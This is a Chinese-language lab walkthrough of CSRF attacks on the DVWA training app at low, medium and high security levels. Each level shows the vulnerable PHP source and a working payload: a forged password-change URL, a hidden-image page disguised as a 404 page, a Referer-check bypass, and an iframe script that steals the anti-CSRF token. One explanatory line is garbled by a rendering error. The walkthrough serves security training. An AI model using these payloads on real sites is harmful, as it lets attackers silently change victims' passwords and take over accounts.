CSRF(Cross-site request forgery),也被称为:one click attack/session riding,中文名称:跨站请求伪造,缩写为:CSRF/XSRF。
一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿下的操作行为。
简而言之,就是在用户cookie没过期时候诱导用户点击恶意链接,这些链接会携带恶意操作,如更改密码等,例如当用户A在登陆微博时候,在为下线状态下点了恶意链接,黑客会根据制作网页来利用A的cookie实现一系列操作。
LOW
查看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
low级没有任何防护措施,只要两次输入的密码相同就可以更改密码,我们将密码改为password点击确定会有以下界面
此时的url就是一个实现更改密码操作的链接,也就是http://10.0.120.97/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
我们可以对其进行一下更改,将密码和确认密码改为123,也就是http://10.0.120.97/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,在新打开一个网页,访问此链接
此时在我们原本的页面中,发现password已经登不上了,
密码变为了123
这就是因为我们先前的靶场cookie还未过期,打开后面的链接相当于我们访问了一个恶意网站,结果密码在不知不觉情况下被改为123,但是,类似http://10.0.120.97/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#这样的链接别人一看就知道是更改密码的链接,所以很多黑客会做进一步加工,制作一个html网页,用记事本写如下代码,再将记事本后缀名改为html
<html>
<head>
</head>
<meta charset='utf8'>
<body>
<img src="http://10.0.120.97/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
我们将该文件放到PHP的默认路径下:
此时我们的服务器就是我们自己的电脑,所以只要访问http://127.0.0.1/test.html,就会打开我们做的网页
只要打开该文件,就会不知不觉访问更改密码的网站,但用户访问的页面如下:
此时密码也被改为了123
Medium级
查看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
简单介绍:
1)int eregi(string pattern, string string)——检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
2)stripos函数:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3)KaTeX parse error: Expected 'EOF', got '#' at position 25: …HTTP_REFERER'] #̲链接到当前页面的前一页面的 U…_SERVER[‘SERVER_NAME’] #当前运行脚本所在服务器主机的名称。
I)host头是指定要请求的资源的IP(或者域名)+端口号。没有端口号则是默认的。
II)referer头是告诉服务器从哪里来的,包括协议、域名、端口、路径和参数。
所以这里验证的是前一页的地址中有没有要访问的域名,所以需要把访问的文件
名字改成是host的name(IP(或者域名))。
III)也就是refer中必须包含主机名(host),即把前面的攻击页面命名为 IP地址.html(页面被放置在攻击者的服务器中)
总而言之就是该页面会检测你访问页面的来源,方式就是看你的url中是否包含源服务器地址,我们知道服务器的IP,比如10.0.120.66,我们只需要将我们LOW级中的test.html改为10.0.120.66.html就行,访问界面如下:
此时它的url中是包含源服务器地址的,故能正常访问
high级
其源码为
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
递交方式改为post(意味着我们从url中无法看到我们的操作),同时还加上了token值,Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码:
下面展示一些 内联代码片
。
<script type="text/javascript">
function attack() {
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit(); }
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body οnlοad="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
可以直接通过用户的cookie来获取token,在进行之前的操作进行攻击